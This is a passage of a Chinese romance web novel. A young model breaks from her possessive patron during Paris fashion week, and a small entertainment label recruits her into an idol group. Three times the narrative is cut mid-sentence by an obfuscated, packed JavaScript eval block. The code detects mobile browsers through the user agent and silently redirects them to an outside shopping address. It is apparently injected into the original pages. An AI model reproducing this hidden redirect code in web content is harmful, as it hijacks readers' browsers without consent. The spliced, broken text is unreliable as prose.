“面子?”商颂像是被这个词彻底激怒了,她猛地抬手,一把挥开他作乱的手,“你在T台之上,当着全世界的面,用这样一场荒唐的闹剧,将我所有的努力、所有的挣扎,都变成一个笑话的时候,你有考虑过我的面子吗?!” “你有考虑过我好不容易才从你这座金丝笼子里爬出来,想要靠自己站起来的那一点点可怜的尊严吗?!” 她的声音越来越大,最后几乎变成了嘶吼,那里面包含了太多的委屈、愤怒、不甘,和一种被彻底背叛的绝望。 “你拥有我的过去还不够吗?!你非要连我的未来也一并吞噬吗?!” 周彻脸上的笑容,终于一点一点地消失了。他看着眼前这只即使浑身颤抖也依旧不肯示弱的野猫,那双深不见底的眼眸里,翻涌起一种更为复杂也更为危险的情绪。 “未来?”他嗤笑一声,捏住她的下巴,强迫她抬起头与自己对视,“商颂,你是不是搞错了?我给你戴上这枚戒指,不是为了吞噬你的未来。我是在赐予你一个,你永远也无法靠自己企及的未来。” “你想要的自由,在这场游戏里,不过是自欺欺人的梦话。没有我,你们连巴黎时装周的门票都拿不到。没有我,你现在,什么都不是。” 是啊。她所有的反抗,所有看似漂亮的翻盘,归根结底,都建立在他那场“魔鬼交易”的默许之上。她所谓的“女王加冕”,不过是戴着镣铐的舞蹈。 一股巨大的无力感,混合着更深沉的屈辱,瞬间淹没了她。眼眶不受控制地泛起一层水光。 “你看,”周彻看着她眼中的泪光,嘴角的弧度重新上扬,“你哭了。你终于,还是会为了我哭。” “我恨你。”商颂咬着牙,将那滴即将滑落的眼泪,硬生生地逼了回去。 “很好。”周彻似乎很满意这个答案,他松开她的下巴,指腹在她脸颊上轻轻摩挲,“恨,比爱更长久。也更令人着迷。” “你以为这样,你就赢了吗?”商颂忽然笑了,那笑声很轻,却带着一种玉石俱焚般的决绝,“周彻,你想要一个缪斯,一个完整的、身心都属于你的缪斯。这个品牌的宣言,不就是PLETEME,BODYANDSOUL’吗?” 她直视着他的眼睛,一字一顿地说:“你现在或许得到了我的身体,得到了这副被你亲手改造、被你打上烙印的皮囊。但我的灵魂……你永远,也别想得到。” “你得到的,只会是一具没有灵魂的、美丽的尸体。一个,永远也不会完整的‘缪斯’。你觉得,你那场关于完美的、偏执的艺术追求,能忍受这样的瑕疵吗?” 她终于,找到了她唯一的武器。不是眼泪,不是愤怒,而是她自己的灵魂。她要用最彻底的、内在的“不合作”,来对抗他这场外在的、盛大的“绑架”。 周彻的瞳孔,骤然收缩。 他第一次,在这双他以为早已看透了的眼睛里,看到了一种他不曾预料到的东西——一种宁为玉碎不为瓦全的骄傲。 她不是在求饶,她是在反向威胁。 良久,他忽然低低地笑了起来。那笑声里充满了棋逢对手后病态的兴奋。 “商颂,你真是……”他摇了摇头,抬手,用一种欣赏的目光,理了理她因激动而散落的一缕鬓发,“越来越有意思了。” 周彻没有再逼她。他知道,把弓拉得太满,只会让弦断掉。而他,还不想这么快,就毁掉他这件最完美的作品。 他松开了对她的钳制,退后一步,重新给自己倒了半杯威士忌。 “好吧。”他举起杯,像是在庆祝一个新的开始,“你赢了。这一局。” 他看着商颂那张写满了错愕与警惕的脸,将杯中的酒一饮而尽。 “我的助理会立刻通知媒体,今晚的‘求婚’,只是一场为了呼应‘第十位缪斯’品牌故事而进行的……行为艺术。一个,只属于设计师与缪斯之间的,即兴的舞台剧。” 他走到她面前,拿起她那只戴着戒指的手,摘下了那枚沉重的钻戒,但没有还给她,而是放进了自己西装胸口的口袋里,那个离心脏最近的地方。 “这枚戒指,不是枷锁,商颂。”他的声音恢复了之前的温柔,“它是契约。是你作为‘第十位缪斯’全球唯一代言人,与品牌签下的最具诚意的合约。现在,它将以一种更体面的方式,被公之于众。” 他顿了顿,抬起眼,那里面是毫不掩饰的属于商人的精明。 “一场精心策划的品牌营销,总比一桩捕风捉影的豪门八卦,听起来要高级得多,不是吗?” 他甚至,连退路都为她铺得如此完美,如此不容拒绝。 商颂看着他,看着这个能在一秒钟内,就将一场失控的私人情感纠纷,转化为一场完美的商业公关的男人,一股寒意从脚底,直冲头顶。 她赢了吗? 或许吧。她暂时保住了自己那点可怜的尊严。 但她比任何时候都更清楚地意识到,她面对的,究竟是怎样一个可怕的对手。他不是魔鬼,他比魔鬼更可怕。因为他永远清醒,永远理智,永远能在任何混乱的棋局中,找到对自己最有利的那个解法。 而她,已经无法回头地被卷入了他这场更大、更复杂、也更危险的游戏里。 这场在塞纳河豪华游轮上举办的AfterParty,从一开始就透着令人窒息的奢靡。 塞纳河两岸的灯火倒映在波光粼粼的水面上,与游轮上的衣香鬓影交相辉映。周彻自然是这场流动的盛宴中最耀眼的圆心。 脱去了刚才那层极具压迫感的掠夺者外衣,此刻的他,优雅、谈笑风生,手中的香槟杯像是权杖,在衣冠楚楚的名流显贵之间游刃有余地画出社交版图。他接受着无数人的恭维,那是对一位成功驯服了野马的征服者的赞美。 商颂就站在他身侧,作为他引以为傲的战利品,被迫保持着得体的微笑。 “我去透口气。”当又一位品牌高层带着暧昧的笑意向周彻敬酒时,商颂终于忍无可忍,在他耳边低声说道。 周彻侧过头,目光在她苍白的脸上一扫而过,随后并未阻拦,只是意有所指地摩挲了一下她空荡荡的无名指——那里刚褪去指环不久,却仿佛留下了永恒的幻觉触感。“去吧,别走远了,我的缪斯。外面风大,容易着凉。” 他那笃定的语气仿佛在说:你逃不掉的,哪怕是天涯海角。 商颂忍着胃里翻涌的寒意,端着高脚杯转身离席。 甲板上的夜风裹着塞纳河的腥湿气,却比船舱里那昂贵的男香味道干净得多。 她走到游轮阴影最深处的救生艇旁,想把杯中已经温热的酒倒进河里,黑暗中却忽然探出一只手,稳稳地截住了她的酒杯。 “这可是八二年的拉菲,倒了喂鱼,也就是你们这种阶层才干得出的‘行为艺术’。” 说话的是个穿侍应生制服的女孩。她毫无坐相地半挂在栏杆上,手里不仅没端托盘,反而正拿着一把指甲刀漫不经心地磨着指甲。长卷发随意挽着,五官是那种极具侵略性的浓颜,在这昏暗灯光下像某种伺机而动的猫科动物。 而在她身侧阴影里,还站着另一个同样装束的女孩。相比前者的慵懒,这一位身姿笔挺如竹,戴着银边眼镜,镜片后那双清冷的眼眸盯着商颂,像是在看什么必须清除的污秽。 “寻星娱乐,谢卿歌。”浓颜女孩松开酒杯,不仅没退缩,反而笑得露出一排整齐的白牙,“久仰大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209085|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名,周彻的一号藏品,商颂小姐。” “你们不是侍应生。”商颂警惕地后退半步,“狗仔?” “差不多吧,不过我们要偷的不是新闻,是你。”谢卿歌随手弹了弹指甲屑,甚至有点流氓气地吹了个口哨,“我们正在筹备一个概念女团,正缺个灵魂——或者说,缺个‘疯子’。我在网上扒到过你不久前跳舞视频,啧,那种把骨头都快跳断的狠劲儿,看得我都高|潮了。” “女团?”商颂像是听到了什么天大的笑话,她瞥了一眼远处灯火通明的船舱,“你们知不知道里面那是谁?知不知道只要我喊一声保安,你们连怎么被扔下塞纳河都不知道?” “知道啊,周大少嘛。”一直沉默的眼镜女孩忽然开口,声音像深秋的霜,“我还知道,你在他眼里就像刚才那杯酒,名贵,但也只是用来装饰门面的。” 商颂的眼神骤然冷了下来,“你是谁?” “童瞳。”女孩推了推眼镜,目光中满是毫不掩饰的敌意与厌恶,“别这样看着我。我不像谢卿歌那种傻大胆,如果我有票决权,我是绝对不会要你的。” 她逼近一步,语带讥讽:“因为我们这种阴沟里的小娱乐公司,供不起这尊大佛。更何况,像你这种只会依附男人、遇到困难就转投下一个怀抱的人,吃不了爱豆的苦。当初你甩了伯雪寻,不就是嫌他不够‘高’,爬不上你的金字塔顶端吗?” 商颂心脏猛地一缩,伯雪寻的名字像根刺,扎得她指尖发麻。她盯着童瞳,忽然读懂了这莫名敌意的来源。 “你喜欢他。”商颂笃定地说。 童瞳脸色微变,冷哼一声偏过头,“我是不想我们的团队因为你这种祸水而毁于一旦。我们是去做音乐的,不是陪富家女玩‘离家出走’的过家家游戏。” “说完了吗?”谢卿歌用手肘撞了撞童瞳,转头看向商颂,眼神玩味,“别听她吓唬你。我们穷是穷了点,但比你那位周先生那里有个好处——我们把女人当人看。怎么样?我知道你想逃,但在这茫茫大海上,除了这艘还没注册的破船,也没别的摆渡人了。” 商颂攥紧了冰冷的栏杆。她很清楚,这甚至不能算是一个选择,而是一个深不见底的陷阱。两个不知底细的太妹,一个注定失败的草台班子,赌上的却是她仅剩的尊严。 “你们凭什么觉得我会答应?”商颂的声音有些干涩,“除了脸和那段不知所谓的舞蹈,我有值得你们冒险得罪周彻的价值吗?如果我唱不出来呢?” “所以我才投反对票。”童瞳冷冷地补刀,“你除了那张脸,声带也就是花瓶水平吧?我们是全开麦,不是时装周上的哑剧。” “我父亲是商恂。” 这一句话,让空气突然凝固。 原本满脸讥诮的童瞳猛地回头,眼中闪过一丝错愕的震动,“那个疯子音乐人商恂?写出《极夜安魂曲》的那个……” “对,那个为了逼女儿练出‘绝对音准’,把只有五岁的孩子关进灌满冷水的浴缸里试音的疯子。”商颂平静地接话,嘴角挂着一丝惨白的笑。 谢卿歌的笑意收敛了,童瞳眼底的敌意也被一种更为复杂的惊疑取代。 “你们要实力,我有。那是我用整个童年的噩梦换来的。”商颂看着她们,眼底是一片荒芜的废墟,“但他死后,我就发誓再也不碰音乐。那些乐理、发声技巧,是用鞭子刻在我骨头里的反射,只要一开口,我就觉得恶心。” “但如果这是逃离周彻的唯一一张船票……”商颂深吸一口气,“我就唱。唱死在那该死的舞台上,也好过在那个黄金笼子里当个哑巴。” 她脑海中那段灰暗的记忆翻涌而上,昏暗地下室里,除了父亲歇斯底里的怒骂,唯有那一点微弱的光亮——那个用清瘦的背影替她挡住父亲怒火的少年。 那个小哥哥教她识谱,送给她第一个吉他拨片。他的脸在记忆中已经模糊成一团温柔的光晕,名字也随那场火灾一同成了灰烬,唯独那种在她掌心写字的触感依旧滚烫。 “阿颂,要是觉得苦,就想点开心的事。” 她早就忘了怎么开心,但她记得怎么在绝境里磨出带血的獠牙。 “听起来,这交易划算。”谢卿歌吹了声响亮的口哨,打破了沉重,“既然是个还没爆炸的疯子,那就更对我的胃口了。童瞳,别摆着那张晚娘脸了,把备用制服给她。” 童瞳盯着商颂看了许久,那种书卷气里的刻薄终于消退了些许,变成了一种同类相斥却又相惜的复杂审视,“既然是你自己要往火坑里跳,将来要是被那些流言蜚语撕碎了,别哭着找妈妈。” 她从背包里掏出一套皱皱巴巴的黑马甲,毫不客气地扔进商颂怀里,“把那身几十万的高定脱了吧,看着碍眼。” 商颂接住那件廉价的制服,指尖有些颤抖。她没再看那艘金碧辉煌的游轮一眼,也没再回头看那个足以让全巴黎名媛嫉妒的位置。 远处的T台入口,猩红的灯光与塞纳河漆黑的夜色交织出一片模糊的边界。那像是一道撕裂世界的伤口,又像是一只张开血盆大口的怪兽。 34. 第 34 章 当周彻终于应酬完最后一轮贵宾,带着不容置疑的占有欲走向船尾,看到的只剩下空荡荡的甲板,和一只被遗弃在栏杆上的高脚杯,杯沿还残留着口红印。 周彻站在商颂刚才停留过的地方。他的私人助理战战兢兢地站在两米开外,额头上满是冷汗,刚才那条关于“商颂小姐通过货运小艇离岗,甚至带走了两套员工制服”的汇报,每一个字都像是悬在头顶的铡刀。 但周彻没有发火。 恰恰相反,他脸上露出了一种极度愉悦的微笑。 他伸出手,拿起了那只被商颂遗弃在栏杆上的高脚杯,毫不介意地将那个印记对准自己的嘴唇,将杯底残存的那一口已经变温的红酒,缓慢而优雅地咽了下去。 “走了?”他低声呢喃,“走得好啊。” 这一口酒苦涩、发酸,正如他此刻翻涌上来的记忆。 世界在他的脚下,而他想要的—— 为什么偏偏是她? 这个问题,像一根扎进肉里的倒刺,在他二十三年的人生里,反复发炎,隐隐作痛。记忆的闸门被这片刻的静谧撬开,浑浊的河水倒灌而回,淹没了巴黎的夜色,回溯到南嵘那个潮湿而闷热的夏天。 五岁那年,他在南嵘待了很久。百无聊赖的童年里,唯一的乐趣就是和岑星一起,像两个巡视领地的国王与王后,一遍遍地探索着那座四季公园。直到另外两个“平民”闯入了他们的世界。 祁演,那个把孤儿身份当成勋章挂在嘴边的傻蛋。以及商颂。 他第一次见到她时,她就像公园里一棵不起眼的长在阴影里的植物。松垮的校服,过长的刘海遮住了眼睛,手里总是捧着一本比她脸还大的书。他们在那玩闹,她就在那看着,像个置身事外的幽灵。如果不是岑星那该死又泛滥的善意,他可能一辈子都不会和这样的女孩说上一句话。 “一起玩吧!”岑星光彩夺目的笑脸,和她伸出的那只干净的手,在周彻的记忆里,是所有故事的开端。 他们四个人,构成了一个极其古怪的组合。有时他甚至会感到一种明显的隔阂。当岑星兴奋地说起父亲从丹麦带回来的最新款乐高时,他是没兴趣,祁演是没玩过。 而商颂,比他更沉默。 这种古怪的平衡一直持续到某个阳光正好的午后。他们闯入一片溪边的小森林,祁演和岑星像两只不知疲倦的蝴蝶在玩水。那天岑星戴了一个很漂亮的红玫瑰发卡,为了方便玩,她把它放在了草坪上。 而他,看见了。他看见那个总是躲在阴影里的商颂,像只受惊的小鹿,四下张望后,偷偷捡起了那个发卡。他看见她,小心翼翼地将那朵本不属于她的红玫瑰,戴在了自己头发上。那一刻,她眼底流露出的是混杂着渴望与嫉妒的微光。 那一幕,像一道闪电,击中了五岁的周彻。他像发现了新大陆的哥伦布,心脏不受控制地狂跳起来。他觉得,自己好像窥探到了这个沉默女孩内心深处,最阴暗、最有趣的秘密。 于是,他像个最坏心眼的孩童,悄无声息地出现在她身后。 “你很嫉妒岑星吧?” 他毫无疑问地看见了她瞳孔里的惊慌失措,看见她急忙取下发卡时那颤抖的指尖。她一句话都说不出来,只是用那双总是躲在刘海后的眼睛,狠狠地瞪着他。 他甚至觉得有些无趣。什么嘛,原来还没有到那种歇斯底里的程度啊。 那天,商颂丢下他们,自己飞快地跑回了家。没有告别,也没有再去四季公园。他们之间那根脆弱的线,就这样被他亲手,用一句孩童式的残忍,彻底剪断了。 他以为他们不会再见面了。这桩事也成了他心底一个无伤大雅却时常被记起关于“胜利”的标记。他给她洗脑,告诉自己,他们只是一个过客,就像搬家后就不再有交集的邻居阿姨。 可做过坏事的小孩,是不可能被轻易放过的。 八岁那年,商颂家逢巨变,父亲商恂车祸去世,母亲容漓出走。奶奶拿出棺材本,让她初中转学到了出名的荣立中学。 当她站在讲台进行自我介绍的那一刻,他坐在教室最末靠窗的位置,几乎是在瞬间,就认出了她。她的打扮比同龄女孩潮流许多,学生头剪得更短,露出了那双依旧带着倔强和孤僻的眼睛。前后差别很大,但那份格格不入的气质,他一辈子都忘不掉。 他们的孽缘,续上了。 他没有理她。好在她似乎也没有认出他,或者说,认出来了,却选择了无视。这让他松了口气,也让他生出一丝莫名的不爽。比起之前,她仍没学会如何融入人群。有天轮到她值日,抱着一大堆资料在走廊上走,资料撒了一地,自己也摔得很疼。 就在这时,祁演出现了。 他一眼就认出了她,兴高采烈地笑着,殷勤地帮她捡起纸张,一路护送到了办公室。而本该与她搭档值日的周彻,正被几个女生围在中间,言笑晏晏。 他从小就招女人喜欢,无论老少。周彻享受这种众星捧月的待遇,简直像在花丛里长大的孔雀,时刻都要展示他那身华丽却无用的羽毛。 因为随口夸了一句某个女生的便当好吃,第二天起,他的课桌就成了小型联合国美食展,各色便当堆积如山,甚至惊动了食堂阿姨,每次都会偷偷给他开小灶。 他乐在其中,周彻也清楚地知道,商颂是班上唯一对他那些魅力不屑一顾的女生。或许正因如此,即使他早已知道她就是当年那个偷戴发卡的“小坏蛋”,也从未想过要揭穿。看她那副故作清高、拼命与周围划清界限的样子,比看那些女生为他争风吃醋,要有意思得多。 这样的日子持续了快一个学期,他远远见过几次岑星。 她自然是早就转来了这所学校,身边也换了新的朋友,众星捧月,一如既往。祁演也时不时会出现在她身边。 曾经的四人组,如今像被地心引力撕裂的星体,各自循着不同的轨道运行,只有偶尔短暂的交汇。商颂放学就去回宿舍,没有时间,也没有意图去主动维系那段早已疏远的童年情谊。他们似乎都忘了她。 直到一个放学的雨天,剧本的高|潮,才姗姗来迟。 商颂没带伞,也没手机,只能狼狈地站在教学楼门口的屋檐下等雨停。就在那时,岑星又一次,如同圣母降临般,主动伸出了手。但这一次,她没有直接走向商颂,而是将自己的雨伞递给了旁边的祁演,让他转交。 祁演跑过来,将伞塞进商颂手里,咧嘴一笑,“岑星让我给你的。” 周彻站在不远处的走廊里,将这一切尽收眼底。他看到商颂接过伞时那瞬间的错愕,也看到她望向远处岑星时,那眼神里一闪而过的复杂情绪。 后来,岑星终于找到了一个机会,单独拦住了商颂,问出了那个埋藏了多年的问题:“你是不是……很讨厌我?周彻告诉我,当年你不再找我们玩,是因为你讨厌我。” 那一刻,周彻躲在墙角,几乎要笑出声来。他看到商颂的脸色瞬间煞白,那双眼睛里第一次出现了被背叛的震动与委屈。她渴望他们的关心,却又因为那可笑的自尊不敢踏出一步,只能固执地等在原地,等待着施舍。而他,早在几年前,就轻飘飘地用一个谎言彻底堵死了她所有的退路。 他们的关系,就这样维持着一种若即若离的尴尬平衡。直到那只蝴蝶的出现,才将这层脆弱的假象,彻底撕碎。 那天放学,商颂在草丛里发现一个很大的玻璃瓶,里面有一枝被折断的玫瑰,和几只色彩各异的蝴蝶。花与蝶都奄奄一息。她刚捡起瓶子,试图把蝴蝶放出来,恰好几个同学路过,立刻嚷嚷起来,指责她虐待动物。 她当然会反驳:“不是我干的。” 可孩子们只相信自己眼睛看到的。他们以为她在撒谎,闹着要去找老师。就在这时,岑星出现了。她拨开人群,走到商颂面前,平静地对所有人说:“这是我做的。” 周围瞬间安静了。他们或许会质疑孤僻的商颂,却绝不会怀疑完美的岑星。岑星三言两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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清脆的耳光,和随之而来她用尽全身力气撞向他额头的闷响,都没有让他感到愤怒。恰恰相反,他只觉得无比的愉悦。 直到现在,周彻都记得那个场景。她不是个精神健全的人,这一点他早就知道。但他让她在那一刻,也清楚地看到了自己的扭曲。他们是同类。 从那天起,他们的游戏,才算真正开始。 他不再满足于旁观。他开始主动地、一次又一次地,去撩拨她,去试探她的底线。他会在她路过时,懒洋洋地叫住她,问她什么时候能做饭给他吃;他会故意在她面前,和别的女生表现得亲密无间,然后享受她那极力掩饰却依旧流露出的不屑与厌恶。 他像一个反复拨弄琴弦的乐手,乐此不疲地在她身上寻找着那个能让她失控的、最敏感的音符。 直到几年后。祁演组建了那支后来名为“SOLAR”的乐队,在各种简陋的地下LiveHouse里,声嘶力竭地唱着他那些关于理想与愤怒的歌。 有一次,周彻在人群的角落里,看到了商颂。她就站在那里,仰着头,看着舞台上那个抱着吉他、仿佛在燃烧生命的祁演。 她的眼神…… 是了。就是那种眼神。那种他曾在她五岁时就捕捉到的、混合着嫉妒、不甘,和一种她自己都未曾察觉的、疯狂渴望的眼神。她渴望那个舞台,渴望成为那个在光下燃烧的人。 那一刻,周彻所有百无聊赖的游戏心态,都在瞬间,被一股更强大的、名为“占有”的黑色浪潮所吞噬。 他找到了。那个能让她彻底失控,也能让她彻底臣服的音符。 思及此,周彻忽然就笑了。那笑声很轻,很快就消散在塞纳河冰冷的夜风里。 管他是猎人还是猎物,管他是游戏还是战争。 反正,这场由他开局的棋,只要他还不想结束,就永远不会有终局。 而她,也永远别想离开。 35. 第 35 章 这场逃离并没有想象中那样伴随着警笛与追逐,反而像是一场令人窒息的深海潜游。 中间隔着的不仅仅是十几个小时的航程,而是从云端坠落泥沼的距离。 最终,商务车在一栋极具包豪斯风格的灰色独栋建筑前停下。 “别把寻星想成那种捡破烂的小作坊。” 谢卿歌转头冲商颂吹了声口哨,眼神里带着几分混不吝的挑衅,“翟老怪虽然人看起来挺不正经,但寻星这栋楼里的设备,可是全亚洲顶配。要是这里穷,那也是因为他把钱都烧在了该烧的地方。” 童瞳推了推那副银边眼镜,冷淡地补充道:“这栋楼的租金和维护费用是天文数字。普通的独立厂牌撑不过三个月,但寻星已经开了五年。” 商颂拢紧了那件临时换上的大号黑色冲锋衣,面无表情地打量着四周。大厅里并不是常见的娱乐公司那种贴满海报的浮夸,而是只有冰冷的工业风灯光和极简的线条。 “带路。”她只说了这两个字。 电梯直达顶层,那是一间几百平米的A级练习室,木地板被磨得有些发白。 一个纤细的身影正不知疲倦地重复着一个膝盖着地后挺身的动作。没有音乐,因为音乐似乎都在那个人的脑子里。 前FLOW%ER的人气成员,安夕来。 曾经的“国民甜心”,那个十四岁就在镜头前笑得没有任何阴霾的瓷娃娃,此刻正穿着一件已经被汗水浸透变成透明色的紧身吊带,膝盖上的护膝甚至渗出了一丝血迹。她在跟地板较劲,在跟镜子里那个无论多么疲惫都还要保持甜美微笑的肌肉记忆较劲。 那是把自己打碎了重组的狠劲儿。 “如果你是来这里找那个在舞台上wink一下就能上热搜的甜心妹妹,那你走错门了。”安夕来似乎察觉到了视线,猛地停下动作。 她转过身,胸口剧烈起伏,乱糟糟的长发黏在脸上。但当她的目光落在商颂脸上时,那个在练习室里死磕的“疯子”突然愣住了。 哪怕现在的商颂素颜、苍白、穿着并不合身的衣服,但那种从骨子里透出只有在顶级猎场厮杀过的人才有的锋利感,依旧让人无法忽视。 “商颂?”安夕来的声音有些哑,带着明显的不敢置信,“周彻那个‘金笼子’里的……缪斯?” 商颂走进练习室,脱下被雨水打湿的外套,随手扔在一旁的器材箱上。 “如果你说的是那个疯女人,那就是我。” 安夕来怔了几秒,突然爆发出一阵极其真实的大笑。她直接瘫坐在地板上,指着商颂,眼睛却亮得惊人。 “我就知道……我就知道我看人的眼光不会错。不久前我就跟童瞳说过,这女人绝对不是那种只能当花瓶摆设的主。” 她抬头看着商颂,眼神忽然变得柔和下来,“你不记得我了吧?那次某卫视节目。” 商颂微微蹙眉。那种场合她去过太多,记忆全是闪光灯和周彻冰冷的手,对其他人一概没有印象。 “那天主办方把我们的休息室临时安排给了某位迟到的大网红,我们十几个人只能挤在走廊的货箱边换衣服。来来往往全是工作人员和摄影师,当时我们都很害怕走光,也不敢说话……” “只有你。”她抬起头,“只有你经过的时候停了下来。你让你的助理腾出了专属于您的独立休息室,让我们进去。我记得当时经纪人想去谢谢你,却被拦在了外面。你的助理说:‘商老师说不用谢,都是在聚光灯下讨饭吃的女孩,谁也不比谁高贵,留点尊严比什么都强。’”商颂静静地听着,眼神里没有任何波动。 “我不记得了。”她冷淡地打断了这番“叙旧”,“如果是为了报恩,大可不必。当时我大概只是单纯觉得你们挡路很碍眼,或者单纯是为了让那个主管难堪。我做事,从来只看心情,不论善恶。” 她并不想当谁的救世主。 安夕来的笑容不但没收敛,反而更深了。 “我知道你不在乎。我也不想欠什么人情。但这恰恰说明了,我们是一路人。” 安夕来从地板上爬起来,那双即使是在没有舞台灯光的练习室里也依旧带着某种野心的眼睛死死盯着商颂。 “我和原来的公司解约了。大家都以为我要去拍戏或者嫁人,没人知道我在这个鬼地方从零开始,跟这练习生组了个没人看好的团。”安夕来指了指自己还在渗血的膝盖,“我要证明,我不只是那个被制造出来的、只能假唱和微笑的玩偶。我要撕开那层皮。” “但是我们缺一个ace。一个能镇得住场子、甚至能把场子炸翻的灵魂。” “周彻那边的动静我也看到了。你现在是过街老鼠,也是顶级流量。”安夕来走到商颂面前,伸出手,掌心里全是练舞磨出的茧子,“怎么样?大明星,要不要来这个垃圾堆里试试?这里没有周彻给你铺的钻石路,只有流不完的汗和可能会毁掉的声带。但这里有的东西,他在黄金笼子里永远给不了你。” “什么?” “即便在泥泞里,也能自己掌控方向盘的权利。” 商颂看着安夕来的手,没有立刻握上去。她走到落地镜前,看着镜子里那个虽然狼狈但眼神依旧高傲的自己,以及身后那两个看似格格不入实则眼里都燃着同一种火焰的队友。 谢卿歌靠在门边嚼口香糖,童瞳冷着脸在调音台前看似漫不经心地操作,实则一直在竖着耳朵听。 这是一个看起来必死无疑的局。一群过气偶像、地下太妹、书卷文人和落跑缪斯。 但这也是她唯一的活路。 “我要见老板。”商颂转身,眼神里最后一点犹豫被切断,“先看合同。我的价格,即使是在泥里,也不便宜。” 安夕来毫不介意被“无视”了握手,“童瞳,带我们的缪斯去顶楼。那位翟老板估计已经在等着把她骨头渣子都榨干了。” 推开那扇厚重的黑胡桃木门,迎面而来的并不是商颂想象中的烟草味,而是一股极为考究的古龙水香气和古典黑胶唱片的悠扬声调。 这间办公室不像是一个摇滚青年的据点,倒更像是华尔街某位资深操盘手的书房。 翟海良坐在巨大的办公桌后,穿着一件剪裁精良的三件套西装,头发梳得一丝不苟。如果不看那双因为常年混迹在名利边缘而显得过于锐利且疲惫的眼睛,他看起来就是一个极度理性的银行家。 “请坐,商小姐。” 翟海良没有起身,只是指了指他对面那把造价不菲的椅子。他的桌面上没有摆着什么音乐demo,只有一份全英文的法律风险评估报告,和几份贴着海外资本LOGO的战略协议。 “网上的直播我看了。”翟海良开门见山,手指在桌面上那份评估报告上敲了敲,“精彩。一场价值连城的公关自杀。你成功让周彻成了全世界最大的笑话,同时也把自己变成了国内所有时尚品牌和娱乐资本眼里的核废料。没人敢接你,因为没人想得罪那个正在发疯的疯狗。” 商颂坐下,脊背挺得笔直,那是她在无数镜头前练出来的本能,“如果您也是这么想的,那您就不会浪费时间让我上这趟电梯。” “聪明。” 翟海良赞许地点了点头,身体微微前倾,眼神变得犀利起来,“我的确不怕周彻。寻星虽然在国内只是个独立厂牌,但我们背后的资本构成,有一半来自海外。” 他随手拿起桌上一份印着T.E.A.MGlobal标志的文件晃了晃。 “很多人都在传,我有海外关系是因为我以前在华尔街干过。但这只是那些八卦号的一厢情愿。” 翟海良站起身,走到那一排正对CBD夜景的落地窗前,背对着商颂,声音低沉而有力。 “西方那些资本是鳄鱼,他们不在乎情怀,只在乎肉。你知道为什么这些平日里根本看不上中国本土制造偶像的大鳄们,会愿意往寻星这么一个小庙里注资,甚至为了我也愿意跟你这个‘定时炸弹’赌一把吗?” 他猛地转过身,从抽屉里抽出一张照片,沿着光滑的桌面,精准地滑到了商颂面前。 商颂低头。 照片上是一个男人在某音乐节上的演出抓拍。那个男人穿着极简的黑衣,在几万名疯狂尖叫的欧美观众面前,举起手中的麦克风,眼神如同覆雪的刀锋,孤傲、冷冽,却又拥有统御全场的气场。 即便只是照片,那种穿透纸背的魅力也足以让人心脏骤停。 是伯雪寻。 商颂的手指极其细微地蜷缩了一下,呼吸有一瞬间的凝滞。 “是因为他。”翟海良指着照片,语气里第一次带上了某种狂热与敬畏交织的情绪,“在伯雪寻出现之前,欧美资本眼里,中国的男团就是‘copycat’(山寨品),是流水线上的廉价塑料。但是伯雪寻……他在APRICITY的世界巡演里,硬生生地用舞台撕开了那道偏见。” “那些傲慢的海外制作人看到他,就像看到了当初的MJ或者那些传奇。他们看到了一个真正的、有灵魂的、能够跨越文化壁垒的超级巨星。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217164|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 翟海良重新坐回椅子上,双手交叉,死死盯着商颂的眼睛。 “所以他们投资的不是我翟海良,也不是寻星。他们是在给伯雪寻下注,在给‘下一个能像伯雪寻一样的人’下注。伯雪寻就是这栋大楼的地基,是连接那些海外资本唯一的脐带。” 商颂的心脏在胸腔里剧烈地跳动,但她的脸上却像戴了一层冰冷的面具。那是她曾经在暴雨夜里为了向上爬而狠狠推开的人。 如今,他不仅爬上去了,还成了这个资本链条中最不可撼动的核心。是他打开了这扇门,让她如今有了这个跟他“同归于尽”也未尝不可的赌桌入场券。 这命运,讽刺得令人想笑。 “所以呢?”商颂抬起头,声音冷静得可怕,“你是想告诉我,这间公司是属于他的王国?” “我想告诉你的是,因为你是他曾经哪怕用前途也要维护的人,所以我才敢冒着得罪周彻的风险签你。但在那些资本眼里,你是最大的不稳定因素。” 翟海良的眼神变得冷酷无情,彻底展现出一个商人的獠牙。 “伯雪寻是寻星唯一的摇钱树,是海外战略的核心。周彻一旦发疯,如果是针对你也就算了,但如果这把火烧到了伯雪寻身上——你也知道,那个圈子里最怕什么?是丑闻,是私生活。尤其是你们那段不能见光的过去。” “他可以不在乎,但我作为老板,不能不在乎。” 翟海良将一份新的合约推到商颂面前,钢笔尖在某个条款上重重点了两下。 “我可以给你顶级资源,甚至动用海外的关系网把你运作到国外市场,让周彻在国内的手伸不到你身上。你可以做你自己,发你想发的疯。但只有一个条件。” “把你和伯雪寻的一切切断。无论是过去,还是将来。” 